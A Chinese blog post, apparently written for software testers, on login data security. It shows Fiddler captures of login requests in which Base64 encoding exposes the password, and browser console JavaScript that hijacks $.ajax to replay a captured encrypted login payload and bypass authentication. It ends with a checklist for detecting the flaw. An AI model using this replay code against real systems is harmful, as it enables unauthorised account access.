系统登录的安全设计

  前几天一个测试同事,来问一个关于系统登录的测试用例。讲的大概意思是登录系统传输的数据必须加密;cookie中不能保存密码等核心信息。关于这两点我想做过web开发的人都可以理解。

  如果满足上述的测试用例要求,是否就满足数据安全要求?最多算是一个合格的设计吧,我们使用密文传输的原因是什么?防止数据包被截获后看到用户名和密码,只要不是用的base64加密,这样的密文能防止70%的人来进行非法利用。实际上加密传输的最终目的是防止被别人利用到数据包,即使是密文,也存在被重复使用的风险。

  怎样的数据才算是安全的?第一不使用明文形式传输(测试用例中的第一个使用密文传输);第二即使因为各种原因造成数据被抓包也需要保证不被重复使用。

  造成数据被抓包的需要依赖一定的网络环境,如:代理上网、使用集线器等, 所以如何截取数据不属于本次讨论内容。只讨论数据被抓包后可能会造成的风险。

  首先看一个例子,系统登录界面(10.24.12.243/cwbase/webapp),用户名叫xq,密码是aaaaaa,通过Fiddle抓包得到的提交的数据内容是:

resource=login&params=%5B%5B%22context%22%2C%22W3siQ29kZSI6IlR5cGVDb2RlIiwiVmFsdWUiOiJVc2VyUGFzc3dvcmQifSx7IkNvZGUiOiJCaXpEYXRlIiwiVmFsdWUiOiIyMDE0LTA3LTAzIn0seyJDb2RlIjoiVXNlcklEIiwiVmFsdWUiOiJ4cSJ9LHsiQ29kZSI6IlBhc3N3b3JkIiwiVmFsdWUiOiJhYWFhYWEifSx7IkNvZGUiOiJEZXZpY2VUeXBlIiwiVmFsdWUiOiIzIn1d%22%5D%5D&GSPWEB_VERB_TYPE=post

  看到params参数感觉是进行了编码处理,在console里执行unescape解码看看内容(怎么确定params的内容,这里传递的参数都是用&分隔的,params=之后的第一个&就是截止位置),执行解码后得到的内容是:

[["context","W3siQ29kZSI6IlR5cGVDb2RlIiwiVmFsdWUiOiJVc2VyUGFzc3dvcmQifSx7IkNvZGUiOiJCaXpEYXRlIiwiVmFsdWUiOiIyMDE0LTA3LTAzIn0seyJDb2RlIjoiVXNlcklEIiwiVmFsdWUiOiJ4cSJ9LHsiQ29kZSI6IlBhc3N3b3JkIiwiVmFsdWUiOiJhYWFhYWEifSx7IkNvZGUiOiJEZXZpY2VUeXBlIiwiVmFsdWUiOiIzIn1d"]]

  可以看到context参数进行了加密处理,首先检查一下密文是否用的Base64加密,解密刚才的密文后得到的内容:

[{"Code":"TypeCode","Value":"UserPassword"},{"Code":"BizDate","Value":"2014-07-03"},{"Code":"UserID","Value":"xq"},{"Code":"Password","Value":"aaaaaa"},{"Code":"DeviceType","Value":"3"}]

  这个登录是碰巧采用了Base64加密,所以很容易被解密看到明文。那么如果采用其他加密算法(必须依赖私钥解密)的是否就能保证安全呢。

  同样的,看另外一个登录界面(10.24.12.243/cwbase/web/login.aspx),Fiddle抓包后得到的密文是:

resource=loginspi&params=%5B%5B%22context%22%2C%22m8V6s3kBP85IU3yY8k6b9R8gFFlBalopTd11o8S7zXfgksQpWIFUE6XCS/esN7Psxi%2bflWsnAnHUFFn86X14cdrNx1/HTqTH766JJSERMoMM2UMJ5uKmyHKCqY7jwM141s1PZ3/qYL2PMbJ/htCKYM%2byjxDxqxUm9Lpcy9G8MPNO7/hu7Ed62z1DgqJeXqqdo2NRt6lhDBiA0iF5xzg%2bWg%3D%3D%22%5D%2C%5B%22randomKey%22%2C%22WufLiPsolCvCuFDl%22%5D%5D&GSPWEB_VERB_TYPE=post

  同样的方式处理params,得到params内容为:

[["context","m8V6s3kBP85IU3yY8k6b9R8gFFlBalopTd11o8S7zXfgksQpWIFUE6XCS/esN7Psxi+flWsnAnHUFFn86X14cdrNx1/HTqTH766JJSERMoMM2UMJ5uKmyHKCqY7jwM141s1PZ3/qYL2PMbJ/htCKYM+yjxDxqxUm9Lpcy9G8MPNO7/hu7Ed62z1DgqJeXqqdo2NRt6lhDBiA0iF5xzg+Wg=="],["randomKey","WufLiPsolCvCuFDl"]]

  两个参数(context和randomKey),context进行Base64解密发现不是直接使用的Base64加密。那么这种加密的内容我们是否能够利用?查看登录js代码,login.spi.js 代码是未加密的,输入用户名和密码(随意输入)。在调试过程中修改变量context和randomKey为抓包的内容。发现可以跳过验证进入系统。

  那么login.spi.js进行加密和压缩之后怎么才能利用这段密文。加入我们看不到、看不懂login.spi.js的代码。我们直接修改$.ajax代码。。。。在console里执行如下代码:

var data="resource=loginspi&params=%5B%5B%22context%22%2C%22m8V6s3kBP85IU3yY8k6b9R8gFFlBalopTd11o8S7zXfgksQpWIFUE6XCS/esN7Psxi%2bflWsnAnHUFFn86X14cdrNx1/HTqTH766JJSERMoMM2UMJ5uKmyHKCqY7jwM141s1PZ3/qYL2PMbJ/htCKYM%2byjxDxqxUm9Lpcy9G8MPNO7/hu7Ed62z1DgqJeXqqdo2NRt6lhDBiA0iF5xzg%2bWg%3D%3D%22%5D%2C%5B%22randomKey%22%2C%22WufLiPsolCvCuFDl%22%5D%5D&GSPWEB_VERB_TYPE=post"; var fnAjax=$.ajax; $.ajax=function(){ var arg=[].slice.call(arguments,0); $.each(arg,function(index,item){ if(typeof item=="object"&&item.data!=undefined&&item.data.indexOf("resource=loginspi&params=")==0){ item.data=data; } }); fnAjax.apply(this,arg); }

  这时候随便输入用户名和密码,登录系统,一样可以跳过身份认证进入。

  上述登陆地址,是某Web平台与移动平台的登陆,通过这种方式检查了其他几家大型的管理系统,登陆全存在这样的问题。测试人员如何快速的查找系统,是否存在这种安全问题呢。满足以下情景的基本上就存在安全问题,当然不满足也可能存在安全问题,但需要手动检查(下边只是列举一定存在安全问题的场景)

  使用Fiddle抓包:

  1、数据包未加密,直接暴露用户名和密码。

  2、密码加密,但是使用的是Base64加密(一般Base64加密内容最后两位经常是==)。

  3、多次提交登录,对比历次加密内容,如果登录名和密码一样的情况下密文也一样,一定存在安全漏洞。

  4、随机码随密文一起提交的。

  5、…………

  

时间: 2024-08-29 20:07:54

系统登录的安全设计的相关文章

bboss平台子系统配置及系统登录相关配置介绍

bboss平台可以包含一个主系统和多个子系统,每个子系统可以配置独立的子系统登录界面以及登录成功的跳转界面. 主系统配置: 主系统配置文件为/resources/module.xml文件,可以在module.xml中配置子系统和主系统的模块.首页及菜单 1.子系统配置 Xml代码   <subsystem name="移动门户"  id="mbp" module="module-mbp.xml" successRedirect="

【数据库设计-2】权限设计-系统登录用户权限设计

需求分析---场景 假设需要为公司设计一个人员管理系统,并为各级领导及全体员工分配系统登录账号.有如下几个要求: 1. 权限等级不同:公司领导登录后可查看所有员工信息,部门领导登录后只可查看本部门员工的信息,员工登录后只可查看自己的信息: 2. 访问权限不同:如公司领导登录后,可查看员工薪水分布界面,而员工则不能看到: 3. 操作权限不同:如系统管理员可以在信息发布界面进行增删改查发布信息,而普通员工只可以在信息发布界面进行查看,不能修改.删除和新增. 功能分析 1. 登录一个系统,基本都需要用

Windows server 2008R2服务器系统登录密码破解

服务器密码忘记,或者被恶意修改,系统被入侵,都是很让人烦心的事情,我试过很多方法,包括使用PE工具删除C盘Windows\System\config里面的SAM文件,可是过程都相当华美,结果都相当杯具.后来,通过摸索,终于发现一种简单易行的方式.可以修改Windows server 2008R2系统的登录密码,并且能够保证系统可以尽快恢复正常,正常使用. 1.准备好一张和当前Windows server 2008R2系统版本和位数相近(最好相同)的系统镜像光盘或者ISO文件. 2.设置系统从光盘

XP系统登录界面,需要手动点击用户帐户后才会出现输入密码的界面

问题描述XP系统,用户帐户设置有密码.用户表示之前启动到系统登录界面,会直接出现输入密码的对话框(见图一):现在启动到登录界面只看到用户帐户信息,需手动点击用户名后才能出现输入密码的界面,用户感觉不方便,希望解决此问题. (图一) (图二) 解决方案指导用户调出“计算机管理”,选择“本地用户和组”-“用户”,双击“Guest”,选中“帐户已停用”将Guest帐户停用后故障排除. 出处:http://support1.lenovo.com.cn/lenovo/wsi/htmls/detail_12

华农正方系统 登录地址

ip地址 http://202.116.160.170/http://202.116.160.167/http://202.116.160.166/华农正方系统 登录地址,布布扣,bubuko.com

系统登录时提示信息的修改与配置

系统登录时环境变量的修改与配置 1.定义系统提示符的变量 (1).系统提示符设置方式 PS1='[\[email protected]\t \w]\$' PS1='[\[email protected]\@\h \# \w]\$' PS1='[\[email protected]\h \W]\$' (2)符号所代表意义 1)\d:显示日期,格式为"星期 月日" 2)\h:显示简写主机名. 3)\t:显示24小时制时间 4)\T:显示12小时时间制 5)\A:显示24小时时间,格式为&q

机房收费系统——登录优化

<机房收费系统个人版>基本上完工了,我的U层代码很多很乱.基本上是D层有几个函数,B层就对应有几个函数,U层使用对应B层中的每一个函数.比如说在登录中,U层首次要使用一个函数检查用户名和用户密码是否正确,然后再使用"添加用户上机记录"的函数.下面是登录的时序图: 登录业务比较简单,但是对于复杂的上机过程呢?U层要检查卡是否注册,余额是否充足,卡的状态是否在使用中,该卡是否现在不在线,通过这一系列检验后,还要查询学生表显示学生信息等等.这样就造成U层有好多函数,和B层的耦合度

ASUS VivoTab RT TF600T忘记系统登录密码,怎么办?

ASUS VivoTab RT TF600T若忘记系统登录账户密码,可以通过以下两种方式尝试初始化电脑.但是请注意,初始化电脑将删除所有个人文件和应用,并还原电脑设置为默认值. 方法一:通过键盘操作 步骤1:请接上ASUS VivoTab RT TF600T专属键盘,或通过USB转接器外接键盘. 步骤2:开机进入系统登录画面,点击右下角电源图标.将出现"睡眠.关机.重启"的选项 步骤3:请按键盘上的"shift"按键,并同时点击TF600T系统登录画面右下角的&qu

Ubuntu 忘记系统登录密码,如何修改密码

Ubuntu 忘记系统登录密码,如何修改密码. 1.重新启动,按ESC键进入Boot Menu,选择recovery mode(一般是第二个选项). 2.在#号提示符下用cat /etc/shadow,看看用户名. 3.输入passwd “用户名”(引号要有的哦). 4.输入新的密码. 5.重新启动,用新密码登录. PS:在修改密码时可能会提示修改失败,可能时只读到权限问题引起到,需要更改一下权限如下: mount -o remount, rw / 在执行第3步.